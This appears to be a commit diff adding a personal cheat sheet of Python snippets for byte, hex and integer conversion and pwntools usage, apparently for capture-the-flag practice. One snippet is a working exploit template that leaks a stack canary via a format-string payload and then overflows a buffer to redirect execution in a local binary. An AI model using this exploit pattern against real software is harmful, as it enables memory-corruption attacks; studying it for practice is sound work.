add commonly used python snippets

Signed-off-by: innocentzero <[email protected]>

content/resources/2025-01-08-python2.md

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++++
+title = "Some commonly used and helpful python snippets"
+[taxonomies]
+tags = ['scripting', 'Python Programming']
++++
+
+## Python Snippets
+
+- hex to bytes to string
+
+```python
+hex_value = "4765656b73666f724765656b73"
+byte_str = bytes.fromhex(hex_value)
+result_str = byte_str.decode('utf-8')
+```
+
+- string to bytes
+
+```python
+byte_arr = str.encode("Foo")
+```
+
+- string to hexdump
+
+```python
+byte_out = "string".encode().hex()
+```
+
+- hex string to int
+
+```python
+x = int("deadbeef", 16)
+x = int("0xdeadbeef", 0)
+x = int("0xdeadbeef", 16)
+```
+
+- integer to binary/octal/hexadecimal
+
+```python
+bin(23)  
+oct(31)
+hex(26)
+```
+
+- basic pwntools template
+
+```py
+#!/usr/bin/python
+import pwn
+
+# we use a separate pty to resolve IO issues on some terminals
+pty = pwn.process.PTY
+proc = pwn.process("./a.out", stdin = pty, stdout = pty)
+
+proc.recvuntil(b"lies at ")
+addr = proc.recvline().decode("utf-8").strip()
+# print("addr =", addr)
+
+addr = int(addr, 16)
+
+proc.recvline()
+proc.recvline()
+
+pad = b"-" * 11
+buffer = b"a" * 32
+format_string_payload = buffer + pad + b"%21$p"
+
+proc.sendline(format_string_payload)
+
+proc.recvline()
+proc.sendline(b"2020")
+
+proc.recvline()
+proc.sendline(b"06")
+
+proc.recvline()
+proc.sendline(b"16")
+
+proc.recvuntil(b"to " + pad)
+
+canary = proc.recvline().decode("utf-8").strip()
+# print("canary =", canary)
+
+canary = int(canary, 16)
+
+proc.recvuntil(b"you?")
+
+buffer = b"a" * 32
+format_string = b"b" * 16
+
+padding = b"c" * 8
+
+payload = buffer + format_string + padding + pwn.p64(canary) + padding + pwn.p64(addr)
+
+proc.sendline(payload)
+
+proc.recvline()
+proc.recvline()
+print("############################# PROGRAM OUTPUT #########################")
+print(proc.recvline().decode("utf-8"))
+print("######################################################################")
+```
+
+- connect to a netcat port
+
+``` python
+io = remote("new.domain.name", 80)
+io = remote("12.12.12.12", 5000)
+```
+
+- receive xyz after connecting
+
+``` python
+io.recv(n) # nbytes
+io.recvline() # till newline
+io.recvuntil("string") #receive until the occurrence of string
+```
+
+- send xyz after connecting
+
+``` python
+io.send(b'bytes')
+io.sendline(b'bytes') # also sends a newline
+```
+
+- convert an integer to 32/64 byte address little-endian
+
+``` python
+pwn.p32(some_integer)
+pwn.p64(some_integer)
+```
+
+- same as above, but big-endian, and signed
+
+``` python
+pwn.p64(some_int, endian="big", sign=True)
+```